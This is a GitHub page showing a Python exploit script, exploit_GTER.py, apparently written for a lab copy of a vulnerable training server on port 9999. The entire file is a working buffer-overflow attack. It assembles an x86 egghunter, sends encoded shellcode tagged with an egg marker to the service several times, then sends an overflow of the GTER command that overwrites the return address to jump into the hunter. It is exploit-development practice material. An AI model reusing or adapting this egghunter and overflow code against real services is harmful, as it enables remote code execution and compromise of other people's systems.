-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathexploit_GTER.py
123 lines (109 loc) · 3.95 KB
/
exploit_GTER.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import socket
import sys
import struct
import hexdump
from keystone import *
host = "192.168.112.133"
port = 9999
CODE = """
check:
mov bx,cs
cmp bl, 0x23
jnz egg
stub:
xor ebx,ebx
push ebx
push ebx
push ebx
push ebx
mov bl,0xc0
egg:
or dx,0x0fff
egg1:
inc edx
push edx
cmp bl, 0xc0
je egg_64
egg_32:
push 0x2
pop eax
int 0x2e
pop edx
egg_end:
cmp al,0x5
je egg
mov eax, 0x57303054
mov edi,edx
scasd
jnz egg1
scasd
jnz egg1
jmp edi
egg_64:
push 0x38
pop eax
xor ecx, ecx
mov edx, esp
call dword ptr fs:[ebx]
pop ecx
pop edx
jmp egg_end
"""
try:
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
#print("%s = %s (number of statements: %u)" %(CODE, encoding, count))
encoded_egghunter = "".join(map(lambda x: chr(x) , encoding))
#hexdump.hexdump(encoded_egghunter)
except KsError as e:
print("ERROR: %s" %e)
#open("egghunter.bin", "wb").write(encoded_egghunter)
#sys.exit(-1)
#pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae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3\x73\xca\x60\x53\x5f\xea\xa5"
buf += "\x02\x14\xe0\x02\x40\x72\xe5\x95\x85\x09\x11\x1d\x28"
buf += "\xdd\x93\x65\x0f\xf9\xf8\x3e\x2e\x58\xa5\x91\x4f\xba"
buf += "\x06\x4d\xea\xb1\xab\x9a\x87\x98\xa3\x6f\xaa\x22\x34"
buf += "\xf8\xbd\x51\x06\xa7\x15\xfd\x2a\x20\xb0\xfa\x4d\x1b"
buf += "\x04\x94\xb3\xa4\x75\xbd\x77\xf0\x25\xd5\x5e\x79\xae"
buf += "\x25\x5e\xac\x61\x75\xf0\x1f\xc2\x25\xb0\xcf\xaa\x2f"
buf += "\x3f\x2f\xca\x50\x95\x58\x61\xab\x7e\xa7\xde\xc3\xf8"
buf += "\x4f\x1d\x23\x14\xcc\xa8\xc5\x7c\xfc\xfc\x5e\xe9\x65"
buf += "\xa5\x14\x88\x6a\x73\x51\x8a\xe1\x70\xa6\x45\x02\xfc"
buf += "\xb4\x32\xe2\x4b\xe6\x95\xfd\x61\x8e\x7a\x6f\xee\x4e"
buf += "\xf4\x8c\xb9\x19\x51\x62\xb0\xcf\x4f\xdd\x6a\xed\x8d"
buf += "\xbb\x55\xb5\x49\x78\x5b\x34\x1f\xc4\x7f\x26\xd9\xc5"
buf += "\x3b\x12\xb5\x93\x95\xcc\x73\x4a\x54\xa6\x2d\x21\x3e"
buf += "\x2e\xab\x09\x81\x28\xb4\x47\x77\xd4\x05\x3e\xce\xeb"
buf += "\xaa\xd6\xc6\x94\xd6\x46\x28\x4f\x53\x66\xcb\x45\xae"
buf += "\x0f\x52\x0c\x13\x52\x65\xfb\x50\x6b\xe6\x09\x29\x88"
buf += "\xf6\x78\x2c\xd4\xb0\x91\x5c\x45\x55\x95\xf3\x66\x7c"
buffer = "GTER "
buffer += "\xE4\x89\xca"
buffer += encoded_egghunter
buffer += "\x90" * (148 - len(encoded_egghunter))
buffer += struct.pack("<L", 0x625011b1)
buffer += "\x90" * (180 - len(buffer))
buffer += "\r\n"
for _ in xrange(5):
egg = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
egg.connect((host, port))
egg.recv(1024)
egg.send(buf)
egg.close()
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buffer)
expl.close()